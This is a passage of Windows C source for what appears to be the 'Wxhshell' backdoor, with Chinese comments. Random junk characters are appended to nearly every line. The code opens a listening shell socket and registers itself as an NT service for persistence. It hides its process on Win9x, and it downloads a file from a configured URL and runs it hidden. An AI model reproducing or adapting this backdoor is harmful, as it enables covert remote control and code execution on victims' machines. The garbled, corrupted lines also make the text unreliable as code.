DWORD BasePriority; cd+^=esSO
ULONG UniqueProcessId; 0-GKu d
ULONG InheritedFromUniqueProcessId; {(!)P
} PROCESS_BASIC_INFORMATION; ki3 HcV
-O %[!&`
PROCNTQSIP NtQueryInformationProcess; q}sK
&rP~`4Mkp
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; @Kp1k> ov
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; =Sa~\k+
\imp7}N
HANDLE hProcess; phmVkV2a;#
PROCESS_BASIC_INFORMATION pbi; P#v^"}.Wd
PLdf_/]-
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); .aJ%am/:%
if(NULL == hInst ) return 0; 7jT#BWt
E[ 0Sst x
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); _jo$)x+'x
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); oSmjs
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); P8IRH#ED
5Xj|:qz<(
if (!NtQueryInformationProcess) return 0; !?6.!2
qsTq*G
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); &1~Re.*B
if(!hProcess) return 0; H) cQO?B
*#6|!%?g
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; V_lGj
#r(a~
CloseHandle(hProcess); hwp/jO:7\
tI'e ctn
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); \QiqcD9Y
if(hProcess==NULL) return 0; _Qg{ ;
%;
qY'+
HMODULE hMod; 5c)wZ
char procName[255]; aX]y`
unsigned long cbNeeded; Lg b
|veBq0U
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); t"tNtLI
q 7`
CloseHandle(hProcess); B6uf;Yc
9!cW
if(strstr(procName,"services")) return 1; // 以服务启动 oW8;^u
f@L\E>t
return 0; // 注册表启动 =@%MV(
} =^by0E2
cmae&Atotw
// 主模块 *%nX#mwz
int StartWxhshell(LPSTR lpCmdLine) ONNW.xHp
{ 'h k @>"
SOCKET wsl; .C6gl]6y@
BOOL val=TRUE; 9 #:ue@)
int port=0; q4 $sc_0i
struct sockaddr_in door; NXi,5
. rRc
if(wscfg.ws_autoins) Install(); H&9wSG`
m8p4U-*j
port=atoi(lpCmdLine); h|)2'07
9z5z
if(port<=0) port=wscfg.ws_port; I ;l`VtD
{<"[D([
WSADATA data; %bN"bxv^
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ga,A'Z
xR _DY'z
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; RR8U
Cv
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 3EO#EYAHiM
door.sin_family = AF_INET; POkXd^pI
door.sin_addr.s_addr = inet_addr("127.0.0.1"); :K?iNZqWN6
door.sin_port = htons(port); S`fu+^cv
[]!tT-Gzy
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { cz$c)It
closesocket(wsl); jjNxatAN
return 1; cS+?s=d
} v#w4{.8)
N{|[R
if(listen(wsl,2) == INVALID_SOCKET) { g\E ._ab<
closesocket(wsl); f.sPE8#3=
return 1; (Jm(}X]sh[
} P~;<o!f
Wxhshell(wsl); +ESX.Vel
WSACleanup(); !:&2+%
S`iM.;|`O
return 0; @b4b{d5[
zR_9D}
} (gFQK[
`;R|V
// 以NT服务方式启动 <ihhV e
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Gt?!E6^!
{ H;4oZ[g
DWORD status = 0; uV/)Gb*j
DWORD specificError = 0xfffffff; [<,0A]m
X*(gT1"t
serviceStatus.dwServiceType = SERVICE_WIN32; *vEU}SxRuv
serviceStatus.dwCurrentState = SERVICE_START_PENDING; xtG)^x!
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; $eTv6B?m
serviceStatus.dwWin32ExitCode = 0; }Z<D^Z~w
serviceStatus.dwServiceSpecificExitCode = 0; r@\,VD6J
serviceStatus.dwCheckPoint = 0; g4?Q.'dZr
serviceStatus.dwWaitHint = 0; mOABZ#+Fk
8s\8`2=
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); x A@|I#
if (hServiceStatusHandle==0) return; =lw4 H_
b6
J2*;XG
status = GetLastError(); Tey,N^=ek
if (status!=NO_ERROR) Mp}!+K
{ Nu>sp,|A
serviceStatus.dwCurrentState = SERVICE_STOPPED; q_OY sg
serviceStatus.dwCheckPoint = 0; !]n{l_5r
serviceStatus.dwWaitHint = 0; ]=O{7#
serviceStatus.dwWin32ExitCode = status; UXXqE4x
serviceStatus.dwServiceSpecificExitCode = specificError; bgkbwE
SetServiceStatus(hServiceStatusHandle, &serviceStatus); yL^M~lws
return; >^2ZM
} e/g<<f-
Nn~tb2\vk
serviceStatus.dwCurrentState = SERVICE_RUNNING; `HMligT
serviceStatus.dwCheckPoint = 0; &6=TtTp"9
serviceStatus.dwWaitHint = 0; Q%_!xQP`
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); E,"b*l.
} 1mvu3}ewx
w-{#6/<kI5
// 处理NT服务事件,比如:启动、停止 /@xr[=L
VOID WINAPI NTServiceHandler(DWORD fdwControl) hnM9-hqm
{ !xJLeQFJI]
switch(fdwControl) &VtWSq-)
{ !07FsPI#{
case SERVICE_CONTROL_STOP: xF\}.OfWG
serviceStatus.dwWin32ExitCode = 0;
Ep#<$6>
serviceStatus.dwCurrentState = SERVICE_STOPPED; p0%6@_FT~
serviceStatus.dwCheckPoint = 0; 4DG 9`5.
serviceStatus.dwWaitHint = 0; A,-[/Z K/
{ 98"z0nI%
SetServiceStatus(hServiceStatusHandle, &serviceStatus); sYW1T @
} 4okHAv8;
return; LrmtPnL
case SERVICE_CONTROL_PAUSE: dT*f-W
serviceStatus.dwCurrentState = SERVICE_PAUSED; 8 RzF].)
break; v ](G?L9b
case SERVICE_CONTROL_CONTINUE: |TNiKy
serviceStatus.dwCurrentState = SERVICE_RUNNING; &Nj:XX;X
break; Gx~"iM
case SERVICE_CONTROL_INTERROGATE: N7Z(lI|a;
break; .j+2x[`l
}; Huug_E+
SetServiceStatus(hServiceStatusHandle, &serviceStatus); `SSP53R(0
} J%O[@jX1
?[*@T2Ck
// 标准应用程序主函数 m,kvEQ3
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) |yId6v
{ &D&5UdN
x
ZipK;!9by
// 获取操作系统版本 !$ J)
OsIsNt=GetOsVer(); ePu2t3E
GetModuleFileName(NULL,ExeFile,MAX_PATH); Y;%R/OyWY
ajcPt]f
// 从命令行安装 t6H2tP\AS
if(strpbrk(lpCmdLine,"iI")) Install(); ^|a&%wxA
_z_3%N
// 下载执行文件 s`$_
if(wscfg.ws_downexe) { R+@sHsZ@
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) qU
/Wg
WinExec(wscfg.ws_filenam,SW_HIDE); O
#p)~V8~
} i &SBW0)
JXZ:Wg
if(!OsIsNt) { " N`V*0h
// 如果时win9x,隐藏进程并且设置为注册表启动 %3@RZe
HideProc(); cE_Xo.:Y,
StartWxhshell(lpCmdLine); :Z7"c`6L!~
} x"h)"Y[c5
else ~$TE
if(StartFromService()) gw}7%U`T9
// 以服务方式启动 zN729wK
StartServiceCtrlDispatcher(DispatchTable); {) '"
k6w
else ^0,&R\e+
// 普通方式启动 d/-]y:`f`
StartWxhshell(lpCmdLine); h>`'\qy
~n]2)>6
return 0; aS1P]&
}